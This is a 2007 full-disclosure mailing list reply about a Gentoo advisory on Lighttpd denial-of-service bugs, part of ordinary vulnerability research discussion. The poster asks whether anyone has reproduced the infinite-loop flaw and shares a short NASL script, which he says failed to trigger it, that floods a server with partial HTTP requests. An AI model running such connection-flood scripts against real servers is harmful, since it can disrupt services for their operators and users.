full-disclosure - Re: [ GLSA 200705-07 ] Lighttpd: Two Denials of Service

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Date: Sat, 26 May 2007 16:07:35 +0200
From: "Michel Arboi" <michel.arboi@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: [ GLSA 200705-07 ] Lighttpd: Two Denials of
	Service

> Robert Jakabosky discovered an infinite loop triggered by a connection
> abort when Lighttpd processes carriage return and line feed sequences.

Could anybody reproduce this DoS? I tried this NASL script without
success. The server rejects connections for about one minute (because
of kazillons of sockets in TIME_WAIT), but it only affects the
attacking source IP and I could not launch any CPU loop.

$ more /tmp/ec.nasl
i=  0;

while (s = open_sock_tcp(80))
{
i ++;
send(socket: s, data: 'GET / HTTP/1.0\r\n');
close(s);
}
display(i, ' done\n');
$

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